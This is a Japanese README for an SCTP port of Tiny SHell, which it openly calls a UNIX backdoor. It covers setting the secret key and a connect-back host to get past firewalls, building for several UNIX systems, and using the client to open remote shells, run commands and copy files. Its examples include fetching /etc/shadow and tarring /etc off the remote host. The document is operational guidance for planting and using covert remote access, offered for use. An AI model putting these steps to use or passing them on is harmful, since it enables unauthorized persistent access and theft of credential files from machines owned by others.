
TinySHell の SCTP への移植
Tiny SHell - オープンソースのUNIXバックドア
* Tiny SHell をコンパイルする前に
1. まず最初に、tsh.h 内にあるシークレットキーを設定してください。
キーは任意の長さにできます(安全性を高めるには、少なくとも12文字を使用してください)。
2. SERVER_PORT(サーバーが着信接続を待ち受けるポート)を変更することを
お勧めします。
3. ファイアウォールで保護されたマシン上で実行する場合は、tshd を
"connect-back" モードで起動したいと思うかもしれません。その場合は、
tsh.h 内の CONNECT_BACK_HOST のコメントを外して変更するだけです。
* Tiny SHell のコンパイル
"make <system>" を実行してください。<system> には次のいずれかを指定できます:
linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
* サーバーの使用方法
サーバーを起動する前に、$HOME とファイル作成マスクを設定しておくと
便利です:
% umask 077; HOME=/var/tmp ./tshd
* クライアントの使用方法
リモートホスト上で tshd が実行されていることを確認してください。次のことができます:
- シェルを起動する:
./tsh <hostname>
- コマンドを実行する:
./tsh <hostname> "uname -a"
- ファイルを転送する:
./tsh <hostname> get /etc/shadow .
./tsh <hostname> put vmlinuz /boot
注: サーバーが connect-back モードで実行されている場合は、リモートマシンの
ホスト名の代わりに "cb" を使用してください。
* 複数ファイル転送について
現時点では、Tiny SHell は scp のような複数および/または再帰的なファイル転送を
サポートしていません。tar アーカイブを作成して転送することで、
この問題を回避できます。例:
./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -
* ターミナルモードについて
一部の頭の悪いシステム(具体的には IRIX と HP-UX)では、Ctrl-C や
その他のコントロールキーが正しく動作しません。次のコマンドで修正してください:
% stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"
* セキュリティについて
シークレットキーは tsh と tshd の両方の実行ファイル内に平文で保存されていることを
覚えておいてください。したがって、これらの2つのファイルへの読み取りアクセス権が
自分以外の誰にもないことを確認する必要があります。ただし、実際の(有効な)キーを
クライアントに保存しないという選択もできます。その場合、クライアントは
起動時にパスワードを要求します。
* SCTP バージョンに関する注意:
これまでのところ Archlinux でのみテストされています。
それ以外の環境では、ひどく失敗することを想定してください。
これはかなり醜いハックであり、いくつかのコンパイルエラーがあります。
いずれ追跡して修正するつもりです。
バックドアファイル(tsh)のセキュリティ(つまりパスワードが平文で保存されていること)は、
近いうちにハッシュ化されたパスワードのみを保存する形に修正される予定です。
hpux、*bsd などのマシンにアクセスできるようになり次第、テストを行います。